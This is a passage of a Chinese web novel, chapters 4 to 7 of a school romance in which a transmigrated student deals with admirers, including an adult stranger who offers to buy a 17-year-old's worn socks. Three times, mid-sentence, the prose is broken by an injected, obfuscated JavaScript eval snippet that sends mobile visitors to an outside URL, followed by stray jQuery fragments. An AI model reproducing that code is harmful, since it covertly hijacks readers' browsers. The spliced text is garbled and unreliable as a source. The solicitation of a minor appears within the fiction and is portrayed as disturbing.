祁扬离开后,周栎眼底的笑意瞬间消失得无影无踪。 他看着祁扬的背影消失在大门处,收回视线,拿出手机,点开抖音,找到下午学校发的那条庆祝球赛的图文。 他在评论区找了半天,找到那条疑似是祁扬本人发的评论。 点开主页,果然看到了祁扬发的自拍照。 周栎点开自拍照看了很久,不自觉地舔了下唇。 随后,他长按图片,点击“保存至手机”。 保存完后,软件自动跳转到相册。 一瞬间,出现在周栎眼前的,全都是同一个人的照片。 密密麻麻的、几乎要占满整个手机屏幕。 甚至还有几张照片,就是刚刚在音乐教室里拍的。 4. 第四章 祁扬家住在一个高档小区,回到家里,等待祁扬的是保姆舒阿姨做好的饭菜,满屋子里飘着香气,但他的爸妈并不在家。 穿书之后,祁扬一直过的都是被家里人无视的生活,他早已习惯,也乐得轻松。 吃完饭后,祁扬刚回到卧室,正打算打开电脑写作业,微信上就收到来自陆渊的消息。 [L.:学校抖音发了你。] [L.:我刚刷到了。] 祁扬看到这两条消息,不由得愣了一下。 他没想到那组照片那么火,连陆渊这个平时不怎么刷抖音的人都能刷到。 但祁扬转念一想,这也很正常,毕竟那组照片里也有陆渊本人。 评论区讨论陆渊颜值的也不少。 不过不知道为什么,并没有讨论祁扬的多。 [sheep:哈哈,你刷到了。] 祁扬本以为,陆渊只是刷到他照片,感到新奇,所以跑来和他说。 没想到,下一秒,陆渊直接发来了他的账号主页截图。 [L.:这你账号?] 祁扬怔了下。 看来,陆渊也翻评论区了。 祁扬想起评论区那些乱七八糟的内容,不由感到一阵紧张。 但他很快又想起周栎和他说过的话,霎时又冷静了许多。 是啊,作为一个“直男”,他反而不该在意这些评论才对。 [sheep:嗯,之前上自媒体选修课的时候开的。] 对话框显示陆渊那边正在输入中。 过了好一会儿,他才终于发来消息。 [L.:好多人关注你。] 简单的一句话,却让祁扬不禁开始猜测,陆渊这是什么意思。 他盯着这句话看了许久,不知怎的,总觉得话语间有股…… 酸意。 但根据祁扬对陆渊性格的了解,他压根不是那种会嫉妒别人有粉丝的人。 陆渊性子高冷,巴不得除了喜欢的人之外,不和任何人产生交集。 那为什么他会给祁扬发这句话呢? 或许只是恭维他一下? [sheep:哈哈,陆哥你要是发视频,肯定比我火。] 不管了,作为陆渊新认证的好哥们,先吹一波彩虹屁再说。 [L.:……] [L.:不要。] 果然,陆渊对当网红这件事充满了排斥。 祁扬仔细想了想,忍不住猜测:难道陆渊是担心他以后当上网红,在主角受面前抢了他的风头? 这个倒是有可能。 [sheep:我没想到会火,不过,我也不想当网红。] 祁扬决定表一下忠心,消除陆渊对他的疑虑。 这回陆渊只回了情绪不明的三个字。 [L.:挺好的。] 挺好的?什么挺好的? 祁扬一时间摸不着头脑。 发完这条消息后,陆渊隔了很久都没有再发消息给他。 就在祁扬以为今天的话题到此结束时。 陆渊像是忍了很久终于忍不住似的,再度发来消息。 [L.:评论区很多人喜欢你。] [L.:还夸你帅。] [L.:挺好的。] 看着陆渊发来的消息,祁扬的神情愈发困惑。 是他的错觉吗,他怎么觉得陆渊不仅不是真心夸赞他,反而语气里的酸味比刚才还更浓了点? 祁扬一时间百思不得其解,只得犹豫着发了个“哈哈哈”的表情包过去。 后来陆渊就真的没再回他消息了。 祁扬转头写作业去了,也就忘了这事。 圣海国际班有很多作业需要用电脑完成,例如写essay(课程论文),写完后还要发到外教老师的邮箱,等待外教打分。 祁扬忙完作业后,也差不多到了深夜。 他拿出手机,再次点开了抖音。 祁扬确实不想当网红,他对这件事没多大兴趣,也没什么必要。 对他来说,目前最重要的是在小说里活到大结局。 但自从他的账号被很多人关注之后,软件总是弹出通知。 他不得不点开软件,准备把消息通知关掉。 就在祁扬准备关掉通知的时候,他不小心点进了一条陌生人发来的消息。 在没有互关之前,对方只能给他发一条消息。 那条消息的内容是: [爸爸,想要你穿过的袜子。] 祁扬被吓得手一抖,手机直接掉在了地上。 他捡起来后,手忙脚乱地直接退出了软件,再也不敢点进去,脸上红得快要滴血。 “什么鬼……”祁扬把手机塞进枕头底下,像在塞一个烫手山芋,用被子盖住发烫的耳朵,小声嘟囔道,“为什么会有人要这种东西?” 他穿过的袜子? 要那玩意儿干嘛,拿回去帮他洗了吗? 祁扬百思不得其解,更是被吓得连抖音都不敢点开了。 第二天一早。 祁扬被司机送到圣海校门口的时候,意外地在门口看到了一个熟悉的身影。 “……陆渊?” 祁扬看着高大的身影,有些不敢置信地开口道。 平日里,都是他这个跟班来校门口等陆渊,今天陆渊竟然来得比他还早。 听到祁扬的声音,陆渊抬眼看向他,脸上隐隐有些倦意,似乎昨晚上没睡好。 他抬了抬眼皮,声音低哑:“……你来了。” 听上去应该熬了个大夜。 昨晚的作业有那么难吗? 对陆渊这种优等生来说,应该不算什么吧? 至于熬那么晚么。 祁扬也不敢问,点点头,“嗯”了一声,把手里的早餐递给陆渊。 作为陆渊的跟班,祁扬每天都会主动帮陆渊带早餐。 然而这一次,陆渊却没有接过。 他看着祁扬手里的早餐,抿了下唇,忽然伸出一直藏在身后的手,把手里的牛皮纸袋递到祁扬面前。 祁扬一愣,讶异地看着陆渊:“这是什么?” “……早餐。”陆渊喉结滚了滚,表情有些别扭,“不知道你爱吃什么,所以都买了点。” 祁扬满脸不敢置信:“买给我的?” 陆渊低低地“嗯”了一声,把纸袋塞到祁扬手里,继而拿起祁扬手里的早餐,开口道:“每次都是你帮我带,我也想帮你带。” 祁扬受宠若惊,瞪大了双眼:“不、不用,我帮你带早餐是应该的……” 作为F1的跟班,这事是他的本职工作。 做不好,就有可能得罪对方,落得个炮灰下场。 陆渊听到祁扬这么说,皱了皱眉,语气有些生硬:“没什么应不应该的。” 表情却显然比刚才缓和了许多。 陆渊接过祁扬给他买的包子,拿起来直接咬了一口,露出满意的眼神,看向祁扬说道:“还是你买的好吃。” 祁扬却被陆渊搞得有点不太好意思。 他买的都是小区附近的平价早餐,可能比普通早餐稍微贵点,但和陆渊给他买的这一大袋早餐相比,显然不是一个档次的。 见陆渊似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029082|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些期待地看着自己,为了不让他失望,祁扬从纸袋里拿出一个牛角包,大口地咬了一口。 烘烤过的奶香味溢满祁扬的整个口腔,让他不由自主地抬了下眉,眼睛一亮。 他看向陆渊,惊奇道:“好好吃啊,在哪里买的?” 祁扬咀嚼着面包,腮帮子鼓鼓的,嘴唇上沾了碎屑,眼神里满是对吃到美食的喜悦,亮亮的眼睛里充满对陆渊的崇拜。 陆渊盯着祁扬看了一会儿,压下止不住上扬的唇角,直接转身往校园里走去。 “不告诉你。”他说。 祁扬愣了下,急忙追上陆渊的脚步:“为啥?” “没为啥。” 祁扬又咬了口牛角包,还是忍不住追问:“陆哥,你就告诉我吧,下回我自己买,就不用你帮我买了。” 陆渊依旧拒绝。 祁扬顿时有些急了:“哎,你这人怎么……” 话说到一半,祁扬意识到自己说错了话,忙改口:“我是怕,是怕太麻烦你了。” 好险,差点就骂主角攻小气了。 听到祁扬着急的语气,陆渊愣了一下。 这是第一次,祁扬差点在他面前流露出真实的情绪。 一直到两人走到教学楼,陆渊都没有说话。 就在祁扬心里紧张,以为自己得罪了陆渊时。 他终于开口:“以后,我天天给你带。” 说这句话时,陆渊抬眼看向祁扬,眼底有一抹令祁扬感到无比陌生的…… 宠溺? 祁扬被这个词吓了一跳。 陆渊怎么可能会对他有“宠溺”这种情绪。 他真是想太多了。 两人来到A班教室。 上午有两节公共课,需要在本班教室上。 课程很重要,祁扬坐到座位上,从包里掏出笔记本,准备在课上画一画思维导图。 他把手机也掏出来,打算调成静音,塞进抽屉里,免得课上忍不住玩手机。 就在这时,祁扬锁定的手机屏幕上,突然蹦出来一条新的来自抖音的消息。 [述:爸爸,你这是同意了吗?] “述”就是昨天晚上问祁扬要袜子的人。 猝不及防地进入祁扬视线,把他吓一大跳。 他手忙脚乱地拿起手机,左右环顾了一下,确定没人看见,这才敢点开抖音。 祁扬在心里嘀咕道,不是没互关的人只能发一条消息吗?为什么这个“述”还能给他发第二条消息? 点开后,祁扬才发现,自己昨晚在手忙脚乱中,竟然给“述”点了个“回关”。 他瞪大了眼睛,不敢置信。 正当祁扬想要把关注取消,然后拉黑对方时。 一道声音从祁扬身侧传来: “你怎么了?” 祁扬手一抖,手机差点掉地上。 他抬眼一看,发现陆渊就站在不远处,正一脸困惑地盯着他看。 “没、没什么……”祁扬赶紧将手机丢进抽屉。 他可不能让陆渊看到这种炸裂的消息。 “咳咳,”祁扬不太自在地清了清嗓子,看向陆渊,缓缓开口说道,“刚才好奇,想搜一下你给我买的牛角包是哪家店的。” 陆渊盯着祁扬发红的耳根看了许久。 半晌后,他“哦”了一声,看着祁扬问:“找到了吗?” “找,呃,没找到。”祁扬不敢和陆渊对视,“下回还是你帮我带吧……” 陆渊闻言,沉默良久。 临近上课前,他才像是终于想开了似地,缓缓开口道: “……好。” 5. 第五章 “对了,”祁扬看向陆渊,努力让自己的声音听上去镇定一点,摸了摸鼻子,试图转移话题,“陆哥,你找我有事吗?” 陆渊抿了抿薄唇,看了眼祁扬身旁的座位,开口道:“这节课我能不能和你一起坐?我电脑坏了。” 祁扬的同桌刚好在这时候回来,他听到陆渊这么说,忙主动让出位置:“没事陆哥,你想和扬扬一起坐的话,我换个位置就行。” 说着,祁扬同桌拍了拍祁扬的肩膀,悄悄使了个“我可不敢惹他”的眼神,拿上东西自觉地换了个地。 祁扬对同桌点了点头。 他自然不会拒绝陆渊,他只是感到有些奇怪,问道:“你电脑咋坏了?” 陆渊坐到祁扬身旁,平静地开口:“昨晚上和家里人吵架,不小心砸坏了。” 祁扬瞪大眼睛:“你那电脑两万多……就砸坏了啊?” 光是听着都让他心疼。 “……嗯。”陆渊抿着唇,拧着眉头,似乎不太想回想昨晚的经历,“送去修了,不知道数据能不能修复。” 祁扬不知道该如何安慰陆渊。 在他的印象中,陆家的情况十分复杂。 陆渊的父母各自都结过婚,有两个他们各自的儿子,陆渊作为他们爱情的结晶,在三个儿子当中却总是被父母认为是最不懂事的那个。 外界盛传,陆家未来的继承人一定是陆渊。 在小说里,陆渊最后也确实在继承人大战中厮杀出血路,获得胜利。 但祁扬这是开了上帝视角。 现在站在陆渊的角度,他的未来是一片未知。 父母的严苛要求,动辄体罚的教育,两个哥哥看似友好、实则狼子野心的相处方式。 这一切都让陆渊每次一回到家里,就感受到巨大的压力,一点风吹草动都可能成为他和家里人吵架的导火索。 这也是为什么陆渊平时在学校看起来总是脸很臭的原因。 在这样高压锅式的家庭长大,换做是谁都不会有好脸色。 “该不会又是因为你那两个哥哥吧?”祁扬作为跟班和好哥们,懂得要适时地为陆渊打抱不平,“他俩又给你爸妈说你坏话了?” 陆渊没说话,半晌后闷闷不乐地“嗯”了一声。 “他俩也欺人太甚了。”祁扬故意握拳,锤了下桌子,“陆哥,什么时候你要教训他们,喊我去帮忙!” 陆渊闻言,转头看了他一眼。 少年皱着眉头,就像是这件事真的是他的事一样,愤愤不平地握着拳头,眼神里正义感十足。 陆渊的表情瞬间缓和了许多,他撩了下眼皮,语气颇有些调侃的意味:“派你去和他们的保镖干架么?” 祁扬愣了下,心里有些发虚,但还是硬着头皮说道: “……如果你有需要的话!” 竟有种豁出去的悲壮感。 “我可舍不……”陆渊下意识地说道,突然顿住,清了清嗓子,改口道,“咳咳,我还没沦落到让你帮我去干架的地步。” 祁扬这才松了口气,咧嘴嘿嘿一笑:“你都认我当哥们了,要真有什么事,我肯定得帮你。” 陆渊薄唇抿成直线,没有说话。 他的眼底情绪很复杂,复杂到祁扬压根就看不懂。 半晌后,他收回看着祁扬的视线,垂下双眸,问了个让祁扬猝不及防的问题: “……干嘛对我这么好?” 祁扬瞪大眼睛,理所当然地回答道:“咱俩是好哥们呀。” 听到这个回答,陆渊一点也不意外。 只是在旁人看不到的角度,他的眼眸里闪过一抹落寞。 这节课的内容是进阶数学,课程内容主要是对接海外大学的微积分预备和基础统计。 祁扬脑子转得快,从小就擅长数学,思维导图画得又快又清楚。 笔记本连接着他手里的平板,画图的速度有时候甚至比老师还快。 快得连陆渊都有些诧异。 他看着一脸认真拧着眉,思考难题的少年,忍不住问出心中疑问:“你什么时候数学变这么好了?” 祁扬愣了下,顿时反应过来,原著里他是个不学无术的二世祖人设,现在娴熟做笔记的样子和他的人设根本是两模两样。 “啊,我……”祁扬手中的电容笔停顿了几秒,随口编了个借口,“我这不是向陆哥看齐嘛,总不能以一个学渣的身份和你当哥们吧?” 陆渊盯着祁扬看了几秒,也不知道是信了还是没信他的鬼话,半晌后才缓缓地“哦”了一声。 有时候,眼前的少年会让陆渊觉得十分陌生。 就好像陆渊从来没有真正了解过他一样。 陆渊抿着薄唇,沉默地听着课堂上老师的声音,眼神平静得没有一丝情绪。 总有一天他会了解的。 他想。 上完两节公共课,祁扬要去阶梯教室上选修课。 这节课他和陆渊不在一起上。 祁扬一走出教室,就迫不及待地拿出手机,准备拉黑“述”。 刚才上课时,陆渊一直在旁边,祁扬完全不敢看手机。 然而,手机才刚拿出来,祁扬就看到了“述”发来的令他震惊的消息: [五千块,可以吗?] 什么,这家伙竟然打算买? 他还以为对方只是想问他要一双袜子,没想到竟然是买。 而且…… 要花五千块?! 祁扬十分震惊,连忙给“述”发消息。 [sheep:你是不是疯了,五千块?!] “述”马上回他:[可以吗?] [sheep:我不卖。] [sheep:再多钱也不会卖的。] 祁扬义正言辞地拒绝完,还顺带想提醒一下这个误入歧途的网友。 [sheep:你也不要找别人买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029083|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这样很不好。] 没想到“述”还挺专一的,直接回复:[你想多了,我怎么可能找别人买。] [述:我只要你的。] 祁扬一时间不知道该作何反应,他是该感谢“述”这么钟情他吗? 见祁扬不同意,“述”开始软磨硬泡,又开始喊祁扬“爸爸”。 祁扬实在是受不了这个称呼。 这时,他刚好不小心点进“述”的主页,看到资料上写的是“二十五岁”,于是给“述”发去消息: [不要再喊我“爸爸”了。] [我比你还小八岁。] 与此同时。 汇恒金融大厦。 作为陆家最早投资建设的金融大厦,前身可追溯至百年前的陆氏通商银楼,坐落在江呈市最顶级的核心CBD。 此时此刻,陆铭承正坐在长长的会议桌前,皱着眉头,冷脸看公司的调研报告。 几分钟前,全公司的员工几乎都被骂了个遍。 大家也都听说了,昨晚陆家又发生了一些“小插曲”,陆总和他的两个弟弟似乎因为股权问题闹得不太愉快。 但众人也能理解,毕竟在外人眼里,陆渊才是这栋大楼未来的主人。 “重写,重写,全都重写,”陆铭承随手将报告丢了出去,纸张在空中漫天飞舞,“今天下班前不给我一个满意的数据调研,全都别干了。” 说完这句话,他黑着脸,直接起身离开了办公室。 陆铭承走出办公室,伸手揉了揉太阳穴,对一旁年轻的保镖说道: “述宇,过来一下。” 季述宇点了下头,走到陆铭承面前,恭敬道:“陆总。” “下午出差,你跟着,顺便开车。”陆铭承语气略带疲倦地吩咐道,“司机上午被我解雇了。” 季述宇知道,陆铭承每次心情不好,就会解雇一大堆人。 他自然不敢说“不”,抿了抿唇,点头道:“好。” “对了,”陆铭承临走前,看了季述宇一眼,“知道你长得帅,但在公司还是注意点,别老大白天和小姑娘聊天。” 说罢,他皱了下眉,转身离开。 季述宇愣了一下。 过了会儿他才反应过来,陆铭承是在说他今天一直盯着手机看的事。 好在陆铭承没有过多追究此事,否则他今天估计也会被开除。 看着陆铭承走远,季述宇这才松了口气。 他放松下来,靠着墙壁,拿出手机,看到“sheep”给他发来的两条新消息,一时间竟然忍不住轻笑了一声。 他伸出修长手指,在屏幕上打下三个字发了过去。 [述:你不懂。] 发完这句,季述宇又忍不住点进祁扬的主页,看着对方那张帅得让人腿软的照片。 他忍不住舔了下唇,返回到聊天界面,喉结滚了一滚。 [述:爸爸是一种感觉。] 6. 第六章 祁扬看着“述”发过来的消息,不自觉地皱了下眉。 “爸爸是一种感觉”? 什么感觉? 他才十七岁,“爸爸”这个词和他有什么关系? 祁扬将手机锁屏,对着黑屏的反光照了照,看着自己那张皮肤白皙、年轻到几乎看不到毛孔的脸,心中不禁感到困惑: 他长得很显老吗? 这具身体和祁扬穿越前是一个模子里刻出来的。 从小到大,祁扬从来没被人说“长得显老”过。 祁扬又打开手机,看了眼“述”的消息,觉得这人好像不太正常。 虽说周栎和祁扬说过,作为一个直男,他面对来自同性的骚扰消息时,不必有太过激烈的反应。 但祁扬还是决定先把“述”给拉黑了。 毕竟老被一个年纪比自己大得多的男人喊“爸爸”,确实是很奇怪的一件事。 祁扬这样想着,一边用手指拉黑“述”,一边往楼梯口走去。 课间,走廊里人很多。 一个不留神,正在看手机的祁扬撞上了一个高挑清瘦的身影。 两人都走得很快,“砰”的一声,对方被他撞倒在地。 祁扬被吓一跳,忙收起手机,微微弯腰看着地上的人,紧张地问:“同学,你没事吧?” 跌倒在地的是一名男生,长得白净,此刻正因疼痛而发出倒吸凉气的声音。 “没事……” 下一秒,当男生抬头看向祁扬时,两人同时愣住。 是昨天球赛后,那个向祁扬表白的男生。 祁扬表情怔了怔,但很快又恢复正常,若无其事地朝男生伸出手: “不好意思,刚才不是故意的。” 男生看着祁扬伸过来的手,莫名地红了脸颊。 那个昨天在球场上叱咤风云的少年,此刻穿的不是球衣,而是圣海的校服,整个人少了几分昨天的野性,多了几分矜贵感。 很难想象,这两种特质能在同一个人身上存在。 见男生没反应,祁扬担心他摔坏了,语气担忧地开口:“你还好吧?” 被少年这样注视着,男生的心跳禁不住地加速了几秒。 少年的长相杂糅着青涩但又意气风发的少年感,以及即将成熟的男生荷尔蒙。 还有白皙皮肤和精致五官带来的,能激发人保护欲的…… 易碎感。 这三种特质杂糅得很好,当他这样居高临下地看着男生时,莫名让他联想到抖音评论区里,那些人赋予少年的各种称呼。 “老公”、“老婆”、“宝宝”…… 甚至是“爸爸”。 明明是充满矛盾的各种称呼。 却能巧妙地出现在同一个人身上。 男生本来觉得评论区有些人很变态,现在竟也有几分理解了。 他快速地抓着祁扬的手站起来,又像是被烫到了似的迅速松开,垂着眼眸不敢看祁扬:“没关系。” 祁扬松了口气:“没事就好。” 说罢,他还主动帮男生捡起地上的书包,递给男生。 男生接过包,还没来得及说声“谢谢”,祁扬却已经转身离开。 他看着祁扬的背影,张了张口,最终还是没勇气开口叫住祁扬。 直到现在,祁扬还是不知道他的名字。 祁扬来到上选修课的阶梯教室。 教室不大,是学校专门为小型讲座准备的,平时也用来上人多的选修课。 祁扬来得稍晚了些,刚到教室,就看到里面几乎坐满了人。 这节课叫《大学申请面试英语》,主要是为了提升学生在英语面试中的基础语言能力、面试技巧和个人特质包装。 对圣海的学生来说,用英语面试是一项很重要的能力,因此这门课程很受欢迎。 祁扬走进班级,遇到不少同班同学,还有平时踢球认识的朋友。 他人缘极好,一路上有不少人邀请他一块儿坐。 不过祁扬学习时喜欢安静,所以婉拒了他们,挑了个最角落的位置坐下。 祁扬刚一坐下,放好书包,就突然察觉到,原本吵闹的教室突然安静了下来。 他本以为是老师来了,抬头往教室门口看去,却在一瞬间愣住。 门口的男生穿着圣海校服,个子很高,一头短发,单眼皮,抿着薄唇,唇角微微向下,整个人看上去带着极强的压迫感。 看清高个男生的长相时,祁扬瞪圆了眼睛,眼神里满是不敢置信。 F3居然…… 和他选了同一门课?! 祁扬连忙打开手机翻课程表,确认自己没走错教室。 ……确实没错。 可他明明在选课前,特地回忆了一下原著剧情,避开了F4所有人会选的课啊。 为什么还会和F3选到同一门课? 此刻祁扬已经来不及思考,因为F3的视线正朝他这边看过来。 好巧不巧,此时此刻,整个教室里,只有祁扬旁边有个空位。 祁扬:“……” 他只能期待是F3走错了教室。 然而事与愿违。 F3的视线在看到祁扬身旁的空位时,静默的脸上没有任何表情,冷着脸便朝着他这边走来。 祁扬咽了口唾沫,心里不自觉地紧张起来。 在小说里,F3是所有攻里武力值最高的存在。 他的生活极度自律,每天除了学习之外,就是运动健身,热爱拳击、散打、柔道…… 这一点,从他进门后那高大健硕的身材就能看得出来。 祁扬虽然也经常运动,但最多玩玩球类运动,和痴迷于这种暴力对抗的F3还是有很大区别的。 如果没记错,原著里的祁扬惹了F3之后,直接被当场揍到吐胆汁。 想到这里,祁扬紧张到脚趾都蜷到一起,甚至忘了起身给F3让道。 直到F3走到祁扬面前,垂下狭长漆黑的眼眸看着他时,他才反应过来。 祁扬一个激灵,连忙站起来给F3让道: “……不好意思。” 丁政旸的视线在祁扬身上停留了片刻。 少年一脸慌乱地给他让道,视线似乎不敢与他直视。 像是受惊的某种小兽。 丁政旸不动声色地收回视线,撩了下眼皮,坐进祁扬里面的座位。 他骨架高大,身型健硕,将校服撑得饱满好看,一双长腿在座位底下几乎要放不下。 丁政旸一坐进来,一瞬间连座位似乎都变得狭小起来。 祁扬见F3坐下后,才敢小心翼翼地坐回座位,过程中连看都不敢看对方一眼。 F3光是在旁边坐着,祁扬都能感受到他身上强烈的危险气息。 正在这时,祁扬发现自己的课本越过了边界,有一半书页放在了F3的桌上。 他连忙将书本收了回来。 在接下来的上课过程中,祁扬连呼吸都变得小心起来。 生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029084|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕一个不小心,得罪身旁这位全书武力值最高的攻,被揍一顿。 好在F3也不是躁郁狂,没有动不动就揍人的习惯。 他坐在祁扬身旁,倒像是对课程的内容很感兴趣,全程都在安静地听讲,未曾多看祁扬一眼。 半节课过去,祁扬也渐渐地放松了下来。 祁扬的英语没有数学那么好,再加上老师是一名外教,课程采用全英文教学。 看着多媒体大屏幕上密密麻麻的英文字样,祁扬一边拿笔在书上做笔记,一边时不时为无法理解的长难句感到头疼。 祁扬一头疼,就喜欢咬笔盖。 这是他穿书前就从小养下的坏习惯。 当祁扬再一次因为听不懂外教在讲什么,皱着眉头咬笔盖时,沉浸在课本里的他没有注意到旁边投来的那道视线。 少年侧脸优越,鼻梁清隽高挺,鼻头却是略钝的圆翘型,为这张精致的脸增添了几分没有攻击性的钝感。 又或者说,幼态感。 此刻,他垂着双眸看课本,羽睫纤长浓密,配上那一身精英式校服,和周围的阶梯教室,多了几分静谧疏离。 和在球场上挥洒汗水的模样简直判若两人。 少年不自觉地咬着笔盖,笔盖外壳坚硬,压着少年柔软的下唇瓣,压出一道不轻不重的压痕来。 片刻后,他像是终于听懂了外教在讲什么,松开了咬着的笔盖,提笔在课本上快速地记着笔记。 被他从牙间抽出来的笔盖上,多了一道显眼的咬痕。 在教室灯光下,亮亮地反着光。 祁扬总算弄懂了外教在讲什么,做完笔记时,突然注意到丁政旸似乎正在看他。 当祁扬下意识地转头看向丁政旸时,后者则是一拧眉毛,略显嫌恶地移开视线。 祁扬不由愣了下。 他看了眼丁政旸刚才注视着的手中的笔,突然意识到…… 丁政旸该不会是在嫌弃他咬笔盖的行为吧? 如果祁扬没记错,丁政旸是个喜欢安静的人,最不喜欢上课时有人在旁边发出声响。 更何况,咬笔盖是个不卫生的行为。 祁扬顿时觉得有些难为情,舔了下唇,坐直身体,决定接下来都不会再干这种事。 英语课还剩十五分钟时。 外教突然拿出一沓卷子,让大家往后传。 祁扬愣了下,他没想到这节课还有课堂测验。 当卷子传到祁扬这时,还剩两张。 而丁政旸那边…… 缺了一张。 祁扬抓着两张卷子,迟疑着要不要把卷子给对方。 按他对丁政旸目前的观察,丁政旸应该是挺不喜欢他的。 他主动把卷子给对方,对方还不一定领情呢。 正当祁扬犹豫着怎么办时,外教在讲台上突然说了一句英文。 因为离得远,再加上他注意力全在卷子上,没有听清。 祁扬不自觉地看向讲台,困惑地“啊”了一声。 正在这时,旁边传来一道磁性而冰冷的男声: “外教那句话的意思是,全场所有人都拿到卷子了吗。” 祁扬恍然大悟地“哦”了一声。 随后他瞪大眼睛,眼里满是惊讶。 F3居然主动帮他翻译外教说过的话? 祁扬错愕间,丁政旸盯着他手里的两张卷子,语气冰冷地开口: “所以,你什么时候能发现,你旁边好像还有个人没卷子。” 7. 第七章 祁扬这才反应过来,丁政旸原来一直等着祁扬把试卷给他。 他的脸“唰”地红透了,急忙把试卷递给丁政旸,嘴里连忙道歉: “对不起,我给忘了。” 丁政旸脸上没什么情绪,祁扬也办法判断他到底生没生气,只好在把试卷还给丁政旸后,低头假装做题。 人在尴尬时总会装作很忙,祁扬也不例外。 他一紧张,又忍不住咬起笔盖来,卷子上的内容倒是一点都没看进去。 少年低着头,像是做错事被发现的小学生,耳根止不住地泛红。 但卷子上却一个字都没写。 丁政旸静静地盯着他看了一会儿,倏尔开口道: “有没有多的笔?” 祁扬一愣,随即看向丁政旸,下意识地问:“你没带笔啊?” 丁政旸沉默了。 他看了眼自己除了试卷什么都没有的桌面,又看了眼祁扬,缓缓开口: “目前看来,应该是的。” 祁扬反应过来,忙从笔袋里翻找笔给他。 正当祁扬在笔袋里噼里啪啦找笔时,丁政旸突然又开口道: “不用了,你手里那支借我就行。” 祁扬愣了下,翻找的动作顿住。 他看了眼自己手中的笔,有些不好意思:“这、这支笔有点太旧了,我用过很久了……” 他当然不能告诉丁政旸,自己不好意思借笔,是因为他刚才咬过笔盖。 丁政旸却没有露出什么嫌弃的表情,抬了抬眉,语气淡淡地问: “所以,能借我吗?” 像是认定了要祁扬手中那支笔一样。 祁扬脸颊微微发烫,看了眼手中的笔,纠结了片刻后,有些磕巴地开口:“可、可以是可以……就、就是……” 就是笔盖上面被他咬过,有点脏。 丁政旸撩了下眼皮,俊逸冷毅的脸上难得多了分玩味: “就是什么?” 祁扬也说不出口,说出来他怕丁政旸嫌他恶心,直接把他给揍了。 于是,祁扬抿了抿唇,咽了口唾沫,有些艰难地开口道:“没,没什么……” 说着,他把手中的笔直接递给丁政旸。 在递的过程中,祁扬也不敢抬头看对方,生怕对方看出自己的尴尬。 下一秒,祁扬手中的笔被丁政旸抽走。 祁扬收回手,手指不自觉地攥了攥拳头又松开。 他装作什么都没发生,拿出一支新的笔,低头开始答卷。 丁政旸似乎也不知道他咬过笔盖的事,拿过中性笔之后,开始“沙沙”地在卷子上写字。 祁扬记得,在小说里,丁政旸是个学霸,还写的一手好字。 果不其然,经常被题目难住的祁扬,每次停下来思考的时候,都能听到丁政旸在旁边写字的声音,从未间断。 似乎就没什么题目能难得住他。 外教只给了学生们十分钟的答题时间,临近结束时,他还善意地提醒了大家时间快到了。 丁政旸虽然因为被祁扬拿走试卷、借笔的事情耽搁了一会儿,但答题速度却快得离谱。 当外教开口时,他已经早早写完了。 反倒是祁扬还剩下几道填空题没写。 他实在是做不出来,偏偏周围坐着的又没有他认识的人,想问一下答案都问不到。 唯一能让他看到答案的人…… 只有丁政旸。 祁扬当然不敢偷看丁政旸的卷子。 谁知道丁政旸会不会一个不爽,直接给他来上一拳。 正在这时,外教再次开口,“善意”地提醒大家,这次小测会算进平时分里。 ……但是话又说回来了,他就看个答案,丁政旸应该也不至于当众打他吧? 祁扬思来想去,决定偷偷瞄一眼。 一眼就好。 他就差这几个填空题了。 祁扬趁着丁政旸不注意,坐直了身体,小心翼翼地、不着痕迹地,往丁政旸试卷上的填空题看了一眼。 ……看不清。 不是因为丁政旸字写得不好,而是因为他写得太好了。 龙飞凤舞的花体字。 以至于祁扬得认真辨认一会儿,才能认出他写的是什么。 祁扬战战兢兢地偷看了一个单词,刚写完,还没等他看清楚第二个,丁政旸忽然伸出右手,修长手指按在卷面上,将卷子往祁扬那边随手一挪。 一下子,卷子上所有的单词都变得近在祁扬眼前。 那肆意潇洒的字迹也瞬间变得清楚起来。 祁扬甚至能感受到对方写字时力透纸背的力度。 祁扬顿时浑身一僵。 丁政旸这是在羞辱他么? 按照丁政旸的性格,他怎么可能把答案给祁扬抄。 下一秒,祁扬就听到丁政旸的声音再度响起: “算是对你借笔给我的报答。” 听上去像是一句玩笑话,但话里却没什么情绪,就像是在说一件再普通不过的事。 祁扬也没想到丁政旸会这么做,他怔怔地说了声“谢谢”。 见祁扬迟迟不动笔,丁政旸那双充满侵略性的狭长单眼皮眼睛斜了他一眼,语气淡淡的: “怎么,不吃嗟来之食?” 祁扬忙说“不是”,也顾不上抄卷子被发现的尴尬,低头开始抄丁政旸卷子上那几道题的答案。 